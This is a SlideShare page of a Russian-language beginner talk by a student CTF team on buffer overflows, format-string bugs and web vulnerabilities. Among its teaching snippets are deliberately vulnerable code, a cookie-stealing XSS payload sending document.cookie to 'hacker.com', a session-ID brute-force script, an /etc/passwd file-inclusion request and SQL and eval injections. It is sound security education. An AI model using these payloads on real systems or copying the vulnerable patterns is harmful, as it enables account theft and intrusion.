SlideShare a Scribd company logo
1 of 44
Уязвимости для самых
маленьких. Что это, как их
эксплуатировать и как от них
избавиться
Кто мы вообще такие?
Мы – команда молодых специалистов по информационной
безопасности CTRL-PNZ. Студенты и выпускники кафедры
«Информационная безопасность систем и технологий» ПГУ
Нас объединяет игра в CTF, уже второй год мы организуем собственные мероприятия IBSTPSU CTF.
Зачем?
Чтобы все желающие повышали свой уровень, чтобы студенты и школьники сталкивались с
практическими аспектами информационной безопасности в прикольной и доступной форме.
Кафедра
«Информационная
безопасность систем
и технологий»
Пензенский
государственный
университет
Первый этап – отборочный, в стиле Task-based CTF и
проводится по сети Интернет.
Команды решают задания, разбитые по различным категориям, и
получают за них баллы. Чаще всего это:
Администрирование;
Криптография;
Стеганография;
Раскрытие компьютерных преступлений;
Программирование;
Задачи на веб-технологии;
И многое, многое другое…
CTF - это командные соревнования, целью которых является оценка умения участников атаковать
и защищать компьютерные системы.
В США и Европе в CTF играют давно, в России с 2006 года. Но сейчас CTF набирает обороты и в России. И это круто!
Это законный способ учиться компьютерной безопасности не только в теории, но и на практике, причем делать это
еще и играя!
Финал проводится в ПГУ, в стиле Classic CTF. Это непосредственное
противоборство участников, имеющих одинаковый набор систем
и сервисов.
Задачи участников «классического» CTF:
Поддерживать работоспособность сервисов, которая периодически
проверяется жюри;
Устранять уязвимости на своем сервере;
Эксплуатировать уязвимости, найденные на серверах противника;
Делать описания найденных уязвимостей, способов их эксплуатации и
устранения.
Причины появления
уязвимостей или «откуда растут
ноги»
• Недостаточное знание безопасных методов программирования
разработчиками
• Ошибки проектирования и «ляпы» при разработке
• Банальная лень и невнимательность
*Уязвимость - недостаток в системе,
используя который, можно намеренно
нарушить её целостность и вызвать
неправильную работу.
Не ошибается то, что не работает.
(c) Windows
Никакое программное обеспечение небезопасно! Даже если своевременно
устанавливать свежие заплатки, всегда существует риск, что злоумышленник
найдет новую дыру, о которой еще никто не знает, и с успехом воспользуется
ею. ©Крис Касперски
Чем мы займемся сейчас?
• «Вкратце о наболевшем»
Переполнение буфера на стеке и на куче, атаки форматной строки и другие
непонятные вещи в доступной форме.
Рубцов Ян, капитан команды Ctrl-PNZ
• «Web в опасности!»
Подробное описание популярных уязвимостей веб-приложений. С примерами!
Гринзовский Илья, специалист по WEB-технологиям
А еще на первом этаже сразу напротив входа стоят наши стенды =)
Их можно и даже нужно потрогать руками!
Вкратце о
наболевшем
Рубцов Ян
Команда Ctrl-PNZ, ПГУ
О докладчике
• Участник различных CTF (Capture The Flag), капитан команды
CTRL-PNZ
• Разработчик заданий IBST PSU CTF 2013, 2014
• Разработчик системы проведения IBST PSU CTF 2014
• Занимаюсь «понемногу всем подряд», прямо сейчас отдуваюсь за
одного из членов команды
Что вообще такое переполнение
буфера?
Буфер – это некая область памяти.
Переполнение возникает при попытке запихать в
буфер больше данных, чем он может принять.
Индексное переполнение при чтении =>
seq_write(char *p)
{
char buff[8];
...
strcpy(buff, p);
}
idx_write(int i)
{
char buff[]="0123456789";
...
return buff[i];
}
Чем оно грозит?
• Запись в произвольные ячейки памяти
• Передача управления по произвольным
адресам
• Раскрытие или навязывание конфиденциальной
информации
• Атака на логику работы программы (отладочные
люки, флаги, индексы и прочие плюшки от
разработчика)
• Атака «отказ в обслуживании»
=>
=>исполнение shell-кода => PROFIT!
=>
Перечислим? #1
Атака на скалярные переменные
При атаке до вызова strlen переменная
b может быть затерта и цикл выйдет за
пределы src и dst
f(char *dst, char *src)
{
char buf[xxx];
int a;
int b;
...
b = strlen(src);
...
for (a = 0; a < b; a++)
*dst++ = *src++;
f(char *psswd)
{
char buf[MAX_BUF_SIZE];
int auth_flag = PASSWORD_NEEDED;
printf("скажи пароль:");
gets(buf);
if (auth_flag != PASSWORD_NEEDED)
return PASSWORD_OK;
return strcmp(passwd, buf);
}
©Крис Касперски aka мыщъх
Атака на индексы
Целочисленное переполнение
Перечислим? #2
Атака типа «POKE»
Атака типа «PEEK»
f()
{
char buf[MAX_BUF_SIZE]; int a; int *b;
...
gets(buf);
...
*b = a;
}
f()
{
char buf[MAX_BUF_SIZE]; int *b;
...
gets(buf);
...
printf("%xn", *b);
}
©Крис Касперски aka мыщъх
f()
{
int *p; char buf[MAX_BUF_SIZE]; int a; int b;
...
gets(buf);
...
p[b] = a;
}
f()
{
int *p; char buf[MAX_BUF_SIZE]; int a; int b;
...
gets(buf);
...
p[b] = a;
}
Она упала!
Unused_function()
{
….
return;
}
main()
{
buf_1[16];
buf_2[16];
gets(buf_1);
gets(buf_2);
….
//здесь должна быть логика, но на это нет денег =(
….
return;
}
Какой буфер?
• На стеке (автоматическая память)
• На куче (динамическая память)
• В сегменте данных (WTF?!)
О чем НЕ пойдет речь
• Про неисполняемый стек
• Про особенности работы некоторых компиляторов (далеко не
всегда спасают)
• NIX-срачи
VirtualProtect, VirtualAlloc и т.п. + говнокод =
Все не так уж и плохо?
• Ограничения на ввод в строковых буферах
• Размер переполняющихся буферов слишком мал
• Все по-разному на разных ОС
• Адреса непостоянны
• Поиск и эксплуатация - сложная штука
Все хорошо? Нет.
• Нет методик автоматического обнаружения и ликвидации
• Борьба с возможным переполнением = потеря
производительности
• Системы обнаружения вторжений и межсетевые экраны – не
панацея
А вы уже забыли про
форматный ввод?int cpt1 = 0;
int cpt2 = 0;
int addr_cpt1 = &cpt1;
int addr_cpt2 = &cpt2;
printf(argv[1]);
printf("ncpt1 = %dn", cpt1);
printf("cpt2 = %dn", cpt2);
>>./program AAAA
AAAA
cpt1 = 0
cpt2 = 0
>>./program AAAA%1$n
AAAA
cpt1 = 0
cpt2 = 4
>>./program AAAA%2$n
AAAA
cpt1 = 4
cpt2 = 0
Количество символов в строке формата до спецификатора
%n сохраняется в переменной (int), адрес которой идет
следующим аргументом. Никакие аргументы не
конвертируются. ©man
Немного бла-бла-бла или я не
стал делать слайд
Немного жесткого shitcode или
исходники стенда
memset(buffer,0x0,ANSWER_SIZE);
memset(answerBuffer,0x0,ANSWER_SIZE);
memcpy(answerBuffer + BUFFER_SIZE,"fuck yeah!",sizeof("fuck yeah!"));
recived = recv(client.acceptSocket,buffer,ANSWER_SIZE-1,0);
memcpy(answerBuffer,buffer,ANSWER_SIZE > strlen(buffer)-1 ? strlen(buffer)-1 : ANSWER_SIZE-2);
memcpy(answerBuffer+strlen(answerBuffer),"n",strlen("n"));
send(client.acceptSocket,answerBuffer,(int)strlen(answerBuffer),0);
Несложно догадаться, что при
#define BUFFER_SIZE 16
#define ANSWER_SIZE 64
искомая строка fuck yeah! отдается при вводе всего лишь 123456789012345 а потом начинает «затираться»
Web в
опасности!
Гринзовский Илья
Команда Ctrl-PNZ, ПГУ
Обо мне
• Участник различных CTF (Capture The Flag)
• Разработчик заданий IBST PSU CTF 2013, 2014
• Web-разработчик
С безопасностью
в вебе все очень
плохо…
…или почти все
Злоупотребление
функциональностью
Использование приложения злоумышленником для
атак на пользователей приложения, другие сервисы
и ресурсы
Brute force
Отправка запросов от имени
легитимного пользователя, получение
дополнительной информации о
приложении, выполнение
неавторизованных действий
Переполнение буфера
Злоумышленник может управлять
процессом, «вешать»
процесс, перезаписывать внутренние
переменные и выполнять действия от
имени процесса
Подмена контента
Получение данных
пользователя, выполнение на стороне
клиента произвольного кода
URL:
http://example.com/news.php?title=Введите%20свой%20логин%
20и%20пароль&link=http://evilsite.com/spoofed.html
CODE:
<h1><?=$_GET['title'];?></h1>
<iframe src="<?=$_GET['link'];?>"></iframe>
RESULT:
<h1>Введите свой логин и пароль</h1>
<iframe src="http://evilsite.com/spoofed.html"></iframe>
Предсказуемое значение сессии
Создание запросов к приложению с
правами скомпрометированного
пользователя
PHP:
$session_id = ‘AD33300002820’ . $userId;
OR
$session_id = md5($username);
Python:
session_id = str(random.randint(2000, 4000))
OR
sha1 = hashlib.sha1(username + str(random.randint(0, 50000)))
access_code = sha1.hexdigest()
Exploit example
s = requests.Session()
url = 'http://victim.com/profile'
for x in range(0, 50000):
session_id = hashlib.sha1('username' + str(x)).hexdigest()
c = dict(id=session_id)
r = s.get(url, cookies=c)
if r.status_code == 200:
print session_id
Cross-site Scripting
Выполнение на стороне клиента
произвольного кода
XSS in action
<?php
// Отправка сообщение
$msg = $_POST['msg_text'];
$receiver_id = intval($_POST['receiver_id']);
$sender_id = $current_user['id'];
$db->insert(array(
'msg' => $msg,
'receiver_id' => $receiver_id,
'sender_id' => $sender_id
));
?>
<?php
// Просмотр сообщения
$msg = get_msg($msg_id);
?>
<div>
<p><?=$msg['msg']?></p>
</div>
XSS in action
Hacker’s request:
example.com/send.php
POST DATA:
msg_text=<script>window.location=‘http://hacker.com/sniff?’+docume
nt.cookie</script>&receiver_id=372324
Receiver side:
<div>
<p><script>window.location=‘http://hacker.com/sniff?’+document.cook
ie</script></p>
</div>
Fingerprinting
Получение подробной информации о
конфигурации приложения
Fingerprinting in nature
Отказ в обслуживании
Отказ одной или нескольких подсистем
приложения для 1, 2, …, всех
пользователей
Предсказуемое расположение
ресурсов
Выполнение неавторизованных
действий, получение
неавторизованного доступа к
различным файлам
Remote/Local File inclusion
Исполнение произвольного кода на
стороне сервера, выполнение кода на
стороне клиента
Local File Inclusion
Code:
<?php
include(‘../templates/’ . $_GET*‘template’+);
?>
Hacker’s request:
http://site.com?page.php?template=../../../../../../etc/passwd
OR
http://site.com?page.php?template=../images/shell.jpg
Инъекции (внедрение кода)
Исполнение произвольного кода на
стороне сервера, чтение, запись
файлов, выполнение команд ОС
PHP CODE: $query = ‘SELECT title, text FROM pages WHERE id = ’ .
$_GET*‘id’+;
Exploit: http://site.com/?id=-1 union select login, password FROM
users limit 2,1
NodeJS CODE: var loginParam = eval("({ login: '" + login + "', password:
'" + password + "' })");
Hacker’s Login: root'})//
Hacker’s Password: 23423
Result:
({ login: 'root'})//', password: '23423' })
db.users.findOne({ login: 'root' })
*данные Positive Technologies
Вопросы?

More Related Content

What's hot

Пост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеПост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновение
beched
 
Hacker Attack 2008 Netsajev Sg
Hacker Attack 2008 Netsajev SgHacker Attack 2008 Netsajev Sg
Hacker Attack 2008 Netsajev Sg
anisol
 

What's hot (8)

Пост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеПост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновение
 
Хакер в ловушке, или Практическая демонстрация блокировки эксплойтов и крипто...
Хакер в ловушке, или Практическая демонстрация блокировки эксплойтов и крипто...Хакер в ловушке, или Практическая демонстрация блокировки эксплойтов и крипто...
Хакер в ловушке, или Практическая демонстрация блокировки эксплойтов и крипто...
 
Hacker Attack 2008 Netsajev Sg
Hacker Attack 2008 Netsajev SgHacker Attack 2008 Netsajev Sg
Hacker Attack 2008 Netsajev Sg
 
01 Sachkov
01 Sachkov01 Sachkov
01 Sachkov
 
Разведка боем
Разведка боемРазведка боем
Разведка боем
 
PT MIFI Labxss
PT MIFI LabxssPT MIFI Labxss
PT MIFI Labxss
 
DEFCON и развитие информационной безопасности в стране
DEFCON и развитие информационной безопасности в странеDEFCON и развитие информационной безопасности в стране
DEFCON и развитие информационной безопасности в стране
 
Троянские программы.
Троянские программы.Троянские программы.
Троянские программы.
 

Similar to SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

как разработать защищенное веб приложение и не сойти с ума. владимир кочетков
как разработать защищенное веб приложение и не сойти с ума. владимир кочетковкак разработать защищенное веб приложение и не сойти с ума. владимир кочетков
как разработать защищенное веб приложение и не сойти с ума. владимир кочетков
Positive Hack Days
 
Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...
Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...
Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...
Positive Hack Days
 
Boyicev o. zashiti_svoyi_kompyuter_n
Boyicev o. zashiti_svoyi_kompyuter_nBoyicev o. zashiti_svoyi_kompyuter_n
Boyicev o. zashiti_svoyi_kompyuter_n
Serghei Urban
 
Positive Hack Days 2011 - Russian Hackers
Positive Hack Days 2011 - Russian HackersPositive Hack Days 2011 - Russian Hackers
Positive Hack Days 2011 - Russian Hackers
qqlan
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
Dmitry Evteev
 
Предисловие. Готовь сани летом: сложные угрозы, APT и целевые атаки – реальн...
Предисловие. Готовь сани летом: сложные угрозы, APT и целевые атаки – реальн...Предисловие. Готовь сани летом: сложные угрозы, APT и целевые атаки – реальн...
Предисловие. Готовь сани летом: сложные угрозы, APT и целевые атаки – реальн...
Denis Bezkorovayny
 

Similar to SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться (20)

Информационная Безопасность. Современные угрозы и области компетенций
Информационная Безопасность. Современные угрозы и области компетенцийИнформационная Безопасность. Современные угрозы и области компетенций
Информационная Безопасность. Современные угрозы и области компетенций
 
Один зеродей и тысяча ночей без сна
Один зеродей и тысяча ночей без снаОдин зеродей и тысяча ночей без сна
Один зеродей и тысяча ночей без сна
 
как разработать защищенное веб приложение и не сойти с ума. владимир кочетков
как разработать защищенное веб приложение и не сойти с ума. владимир кочетковкак разработать защищенное веб приложение и не сойти с ума. владимир кочетков
как разработать защищенное веб приложение и не сойти с ума. владимир кочетков
 
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
 
Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...
Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...
Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...
 
Positive Hack Days
Positive Hack DaysPositive Hack Days
Positive Hack Days
 
Сергей Повышев. Практика киберучений — делимся опытом
Сергей Повышев. Практика киберучений — делимся опытомСергей Повышев. Практика киберучений — делимся опытом
Сергей Повышев. Практика киберучений — делимся опытом
 
Трудовые будни охотника на угрозы
Трудовые будни охотника на угрозыТрудовые будни охотника на угрозы
Трудовые будни охотника на угрозы
 
Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)
Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)
Как разработать защищенное веб-приложение и не сойти при этом с ума (вебинар)
 
Как создать в России свою систему Threat intelligence?
Как создать в России свою систему Threat intelligence?Как создать в России свою систему Threat intelligence?
Как создать в России свою систему Threat intelligence?
 
Тенденции киберугроз. Что необходимо знать?
Тенденции киберугроз. Что необходимо знать?Тенденции киберугроз. Что необходимо знать?
Тенденции киберугроз. Что необходимо знать?
 
PT ESC - кто полечит доктора?
PT ESC - кто полечит доктора?PT ESC - кто полечит доктора?
PT ESC - кто полечит доктора?
 
Boyicev o. zashiti_svoyi_kompyuter_n
Boyicev o. zashiti_svoyi_kompyuter_nBoyicev o. zashiti_svoyi_kompyuter_n
Boyicev o. zashiti_svoyi_kompyuter_n
 
Positive Hack Days 2011 - Russian Hackers
Positive Hack Days 2011 - Russian HackersPositive Hack Days 2011 - Russian Hackers
Positive Hack Days 2011 - Russian Hackers
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
 
РусКрипто CTF 2010 Full Disclosure (мастер класс)
РусКрипто CTF 2010 Full Disclosure (мастер класс)РусКрипто CTF 2010 Full Disclosure (мастер класс)
РусКрипто CTF 2010 Full Disclosure (мастер класс)
 
Предисловие. Готовь сани летом: сложные угрозы, APT и целевые атаки – реальн...
Предисловие. Готовь сани летом: сложные угрозы, APT и целевые атаки – реальн...Предисловие. Готовь сани летом: сложные угрозы, APT и целевые атаки – реальн...
Предисловие. Готовь сани летом: сложные угрозы, APT и целевые атаки – реальн...
 
Безопаность SAP-систем
Безопаность SAP-системБезопаность SAP-систем
Безопаность SAP-систем
 
презентация вирусы в_казахстане_гтс
презентация вирусы в_казахстане_гтспрезентация вирусы в_казахстане_гтс
презентация вирусы в_казахстане_гтс
 
Системы Breach Detection - вебинар BISA
Системы Breach Detection - вебинар BISAСистемы Breach Detection - вебинар BISA
Системы Breach Detection - вебинар BISA
 

More from Конференция разработчиков программного обеспечения SECON'2014

SECON'2014 - Максим Цепков - DDD: от требований до кода
SECON'2014 - Максим Цепков - DDD: от требований до кодаSECON'2014 - Максим Цепков - DDD: от требований до кода
SECON'2014 - Максим Цепков - DDD: от требований до кода
Конференция разработчиков программного обеспечения SECON'2014
 
SECON'2014 - Филипп Торчинский - Трансформация баг-трекера под любой проект: ...
SECON'2014 - Филипп Торчинский - Трансформация баг-трекера под любой проект: ...SECON'2014 - Филипп Торчинский - Трансформация баг-трекера под любой проект: ...
SECON'2014 - Филипп Торчинский - Трансформация баг-трекера под любой проект: ...
Конференция разработчиков программного обеспечения SECON'2014
 
SECON'2014 - Сергей Цивин - Производительность веб-приложений
SECON'2014 - Сергей Цивин - Производительность веб-приложенийSECON'2014 - Сергей Цивин - Производительность веб-приложений
SECON'2014 - Сергей Цивин - Производительность веб-приложений
Конференция разработчиков программного обеспечения SECON'2014
 
SECON'2014 - Дмитрий Швеенков - Рассылка push-уведомлений для мобильных платформ
SECON'2014 - Дмитрий Швеенков - Рассылка push-уведомлений для мобильных платформSECON'2014 - Дмитрий Швеенков - Рассылка push-уведомлений для мобильных платформ
SECON'2014 - Дмитрий Швеенков - Рассылка push-уведомлений для мобильных платформ
Конференция разработчиков программного обеспечения SECON'2014
 
SECON'2014 - Павел Щеваев - Метаданные и автогенерация кода
SECON'2014 - Павел Щеваев - Метаданные и автогенерация кодаSECON'2014 - Павел Щеваев - Метаданные и автогенерация кода
SECON'2014 - Павел Щеваев - Метаданные и автогенерация кода
Конференция разработчиков программного обеспечения SECON'2014
 
SECON'2014 - Александр Чистяков - Сравнение современных средств управления ко...
SECON'2014 - Александр Чистяков - Сравнение современных средств управления ко...SECON'2014 - Александр Чистяков - Сравнение современных средств управления ко...
SECON'2014 - Александр Чистяков - Сравнение современных средств управления ко...
Конференция разработчиков программного обеспечения SECON'2014
 

More from Конференция разработчиков программного обеспечения SECON'2014 (16)

SECON'2014 - Сергеев Антон - Асинхронные задачи в iFunny
SECON'2014 - Сергеев Антон - Асинхронные задачи в iFunnySECON'2014 - Сергеев Антон - Асинхронные задачи в iFunny
SECON'2014 - Сергеев Антон - Асинхронные задачи в iFunny
 
SECON.Посиделки #16: Cassandra (презентация)
SECON.Посиделки #16: Cassandra (презентация) SECON.Посиделки #16: Cassandra (презентация)
SECON.Посиделки #16: Cassandra (презентация)
 
SECON'2014 - Тимур Салюков - История одного кейса Gorussia2014.ru. Как добить...
SECON'2014 - Тимур Салюков - История одного кейса Gorussia2014.ru. Как добить...SECON'2014 - Тимур Салюков - История одного кейса Gorussia2014.ru. Как добить...
SECON'2014 - Тимур Салюков - История одного кейса Gorussia2014.ru. Как добить...
 
SECON'2014 - Максим Цепков - DDD: от требований до кода
SECON'2014 - Максим Цепков - DDD: от требований до кодаSECON'2014 - Максим Цепков - DDD: от требований до кода
SECON'2014 - Максим Цепков - DDD: от требований до кода
 
SECON'2014 - Кирилл Мокевнин - Формирование инженерной культуры
SECON'2014 - Кирилл Мокевнин - Формирование инженерной культурыSECON'2014 - Кирилл Мокевнин - Формирование инженерной культуры
SECON'2014 - Кирилл Мокевнин - Формирование инженерной культуры
 
SECON'2014 - Юрий Бушмелев - Эволюция системного администратора
SECON'2014 - Юрий Бушмелев - Эволюция системного администратораSECON'2014 - Юрий Бушмелев - Эволюция системного администратора
SECON'2014 - Юрий Бушмелев - Эволюция системного администратора
 
SECON'2014 - Алексей Кошкидько - Межконтинентальный опыт внедрения Agile
SECON'2014 - Алексей Кошкидько - Межконтинентальный опыт внедрения AgileSECON'2014 - Алексей Кошкидько - Межконтинентальный опыт внедрения Agile
SECON'2014 - Алексей Кошкидько - Межконтинентальный опыт внедрения Agile
 
SECON'2014 - Филипп Торчинский - Трансформация баг-трекера под любой проект: ...
SECON'2014 - Филипп Торчинский - Трансформация баг-трекера под любой проект: ...SECON'2014 - Филипп Торчинский - Трансформация баг-трекера под любой проект: ...
SECON'2014 - Филипп Торчинский - Трансформация баг-трекера под любой проект: ...
 
SECON'2014 - Сергей Цивин - Производительность веб-приложений
SECON'2014 - Сергей Цивин - Производительность веб-приложенийSECON'2014 - Сергей Цивин - Производительность веб-приложений
SECON'2014 - Сергей Цивин - Производительность веб-приложений
 
SECON'2014 - Дмитрий Швеенков - Рассылка push-уведомлений для мобильных платформ
SECON'2014 - Дмитрий Швеенков - Рассылка push-уведомлений для мобильных платформSECON'2014 - Дмитрий Швеенков - Рассылка push-уведомлений для мобильных платформ
SECON'2014 - Дмитрий Швеенков - Рассылка push-уведомлений для мобильных платформ
 
SECON'2014 - Антон Веретенников, Илья Семаков - Переход от коллбеков к событиям
SECON'2014 - Антон Веретенников, Илья Семаков - Переход от коллбеков к событиямSECON'2014 - Антон Веретенников, Илья Семаков - Переход от коллбеков к событиям
SECON'2014 - Антон Веретенников, Илья Семаков - Переход от коллбеков к событиям
 
SECON'2014 - Сергей Шпадырев - Разработка 3D-игры на Flash: едем с костылями...
SECON'2014 - Сергей Шпадырев -  Разработка 3D-игры на Flash: едем с костылями...SECON'2014 - Сергей Шпадырев -  Разработка 3D-игры на Flash: едем с костылями...
SECON'2014 - Сергей Шпадырев - Разработка 3D-игры на Flash: едем с костылями...
 
SECON'2014 - Андрей Устюжанин - Маленькие секреты больших данных
SECON'2014 - Андрей Устюжанин - Маленькие секреты больших данныхSECON'2014 - Андрей Устюжанин - Маленькие секреты больших данных
SECON'2014 - Андрей Устюжанин - Маленькие секреты больших данных
 
SECON'2014 - Павел Щеваев - Метаданные и автогенерация кода
SECON'2014 - Павел Щеваев - Метаданные и автогенерация кодаSECON'2014 - Павел Щеваев - Метаданные и автогенерация кода
SECON'2014 - Павел Щеваев - Метаданные и автогенерация кода
 
SECON'2014 - Александр Чистяков - Сравнение современных средств управления ко...
SECON'2014 - Александр Чистяков - Сравнение современных средств управления ко...SECON'2014 - Александр Чистяков - Сравнение современных средств управления ко...
SECON'2014 - Александр Чистяков - Сравнение современных средств управления ко...
 
SECON'2014 - Александр Бындю - Переход от монолитной архитектуры к распределе...
SECON'2014 - Александр Бындю - Переход от монолитной архитектуры к распределе...SECON'2014 - Александр Бындю - Переход от монолитной архитектуры к распределе...
SECON'2014 - Александр Бындю - Переход от монолитной архитектуры к распределе...
 

SECON'2014 - Команда CTRL-PNZ - Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться

  • 1. Уязвимости для самых маленьких. Что это, как их эксплуатировать и как от них избавиться
  • 2. Кто мы вообще такие? Мы – команда молодых специалистов по информационной безопасности CTRL-PNZ. Студенты и выпускники кафедры «Информационная безопасность систем и технологий» ПГУ Нас объединяет игра в CTF, уже второй год мы организуем собственные мероприятия IBSTPSU CTF. Зачем? Чтобы все желающие повышали свой уровень, чтобы студенты и школьники сталкивались с практическими аспектами информационной безопасности в прикольной и доступной форме. Кафедра «Информационная безопасность систем и технологий» Пензенский государственный университет
  • 3.
  • 4. Первый этап – отборочный, в стиле Task-based CTF и проводится по сети Интернет. Команды решают задания, разбитые по различным категориям, и получают за них баллы. Чаще всего это: Администрирование; Криптография; Стеганография; Раскрытие компьютерных преступлений; Программирование; Задачи на веб-технологии; И многое, многое другое… CTF - это командные соревнования, целью которых является оценка умения участников атаковать и защищать компьютерные системы. В США и Европе в CTF играют давно, в России с 2006 года. Но сейчас CTF набирает обороты и в России. И это круто! Это законный способ учиться компьютерной безопасности не только в теории, но и на практике, причем делать это еще и играя! Финал проводится в ПГУ, в стиле Classic CTF. Это непосредственное противоборство участников, имеющих одинаковый набор систем и сервисов. Задачи участников «классического» CTF: Поддерживать работоспособность сервисов, которая периодически проверяется жюри; Устранять уязвимости на своем сервере; Эксплуатировать уязвимости, найденные на серверах противника; Делать описания найденных уязвимостей, способов их эксплуатации и устранения.
  • 5. Причины появления уязвимостей или «откуда растут ноги» • Недостаточное знание безопасных методов программирования разработчиками • Ошибки проектирования и «ляпы» при разработке • Банальная лень и невнимательность *Уязвимость - недостаток в системе, используя который, можно намеренно нарушить её целостность и вызвать неправильную работу. Не ошибается то, что не работает. (c) Windows Никакое программное обеспечение небезопасно! Даже если своевременно устанавливать свежие заплатки, всегда существует риск, что злоумышленник найдет новую дыру, о которой еще никто не знает, и с успехом воспользуется ею. ©Крис Касперски
  • 6. Чем мы займемся сейчас? • «Вкратце о наболевшем» Переполнение буфера на стеке и на куче, атаки форматной строки и другие непонятные вещи в доступной форме. Рубцов Ян, капитан команды Ctrl-PNZ • «Web в опасности!» Подробное описание популярных уязвимостей веб-приложений. С примерами! Гринзовский Илья, специалист по WEB-технологиям А еще на первом этаже сразу напротив входа стоят наши стенды =) Их можно и даже нужно потрогать руками!
  • 8. О докладчике • Участник различных CTF (Capture The Flag), капитан команды CTRL-PNZ • Разработчик заданий IBST PSU CTF 2013, 2014 • Разработчик системы проведения IBST PSU CTF 2014 • Занимаюсь «понемногу всем подряд», прямо сейчас отдуваюсь за одного из членов команды
  • 9. Что вообще такое переполнение буфера? Буфер – это некая область памяти. Переполнение возникает при попытке запихать в буфер больше данных, чем он может принять. Индексное переполнение при чтении => seq_write(char *p) { char buff[8]; ... strcpy(buff, p); } idx_write(int i) { char buff[]="0123456789"; ... return buff[i]; }
  • 10. Чем оно грозит? • Запись в произвольные ячейки памяти • Передача управления по произвольным адресам • Раскрытие или навязывание конфиденциальной информации • Атака на логику работы программы (отладочные люки, флаги, индексы и прочие плюшки от разработчика) • Атака «отказ в обслуживании» => =>исполнение shell-кода => PROFIT! =>
  • 11. Перечислим? #1 Атака на скалярные переменные При атаке до вызова strlen переменная b может быть затерта и цикл выйдет за пределы src и dst f(char *dst, char *src) { char buf[xxx]; int a; int b; ... b = strlen(src); ... for (a = 0; a < b; a++) *dst++ = *src++; f(char *psswd) { char buf[MAX_BUF_SIZE]; int auth_flag = PASSWORD_NEEDED; printf("скажи пароль:"); gets(buf); if (auth_flag != PASSWORD_NEEDED) return PASSWORD_OK; return strcmp(passwd, buf); } ©Крис Касперски aka мыщъх
  • 12. Атака на индексы Целочисленное переполнение Перечислим? #2 Атака типа «POKE» Атака типа «PEEK» f() { char buf[MAX_BUF_SIZE]; int a; int *b; ... gets(buf); ... *b = a; } f() { char buf[MAX_BUF_SIZE]; int *b; ... gets(buf); ... printf("%xn", *b); } ©Крис Касперски aka мыщъх f() { int *p; char buf[MAX_BUF_SIZE]; int a; int b; ... gets(buf); ... p[b] = a; } f() { int *p; char buf[MAX_BUF_SIZE]; int a; int b; ... gets(buf); ... p[b] = a; }
  • 14. Какой буфер? • На стеке (автоматическая память) • На куче (динамическая память) • В сегменте данных (WTF?!)
  • 15. О чем НЕ пойдет речь • Про неисполняемый стек • Про особенности работы некоторых компиляторов (далеко не всегда спасают) • NIX-срачи VirtualProtect, VirtualAlloc и т.п. + говнокод =
  • 16. Все не так уж и плохо? • Ограничения на ввод в строковых буферах • Размер переполняющихся буферов слишком мал • Все по-разному на разных ОС • Адреса непостоянны • Поиск и эксплуатация - сложная штука
  • 17. Все хорошо? Нет. • Нет методик автоматического обнаружения и ликвидации • Борьба с возможным переполнением = потеря производительности • Системы обнаружения вторжений и межсетевые экраны – не панацея
  • 18. А вы уже забыли про форматный ввод?int cpt1 = 0; int cpt2 = 0; int addr_cpt1 = &cpt1; int addr_cpt2 = &cpt2; printf(argv[1]); printf("ncpt1 = %dn", cpt1); printf("cpt2 = %dn", cpt2); >>./program AAAA AAAA cpt1 = 0 cpt2 = 0 >>./program AAAA%1$n AAAA cpt1 = 0 cpt2 = 4 >>./program AAAA%2$n AAAA cpt1 = 4 cpt2 = 0 Количество символов в строке формата до спецификатора %n сохраняется в переменной (int), адрес которой идет следующим аргументом. Никакие аргументы не конвертируются. ©man
  • 19. Немного бла-бла-бла или я не стал делать слайд
  • 20. Немного жесткого shitcode или исходники стенда memset(buffer,0x0,ANSWER_SIZE); memset(answerBuffer,0x0,ANSWER_SIZE); memcpy(answerBuffer + BUFFER_SIZE,"fuck yeah!",sizeof("fuck yeah!")); recived = recv(client.acceptSocket,buffer,ANSWER_SIZE-1,0); memcpy(answerBuffer,buffer,ANSWER_SIZE > strlen(buffer)-1 ? strlen(buffer)-1 : ANSWER_SIZE-2); memcpy(answerBuffer+strlen(answerBuffer),"n",strlen("n")); send(client.acceptSocket,answerBuffer,(int)strlen(answerBuffer),0); Несложно догадаться, что при #define BUFFER_SIZE 16 #define ANSWER_SIZE 64 искомая строка fuck yeah! отдается при вводе всего лишь 123456789012345 а потом начинает «затираться»
  • 22. Обо мне • Участник различных CTF (Capture The Flag) • Разработчик заданий IBST PSU CTF 2013, 2014 • Web-разработчик
  • 23. С безопасностью в вебе все очень плохо… …или почти все
  • 24. Злоупотребление функциональностью Использование приложения злоумышленником для атак на пользователей приложения, другие сервисы и ресурсы
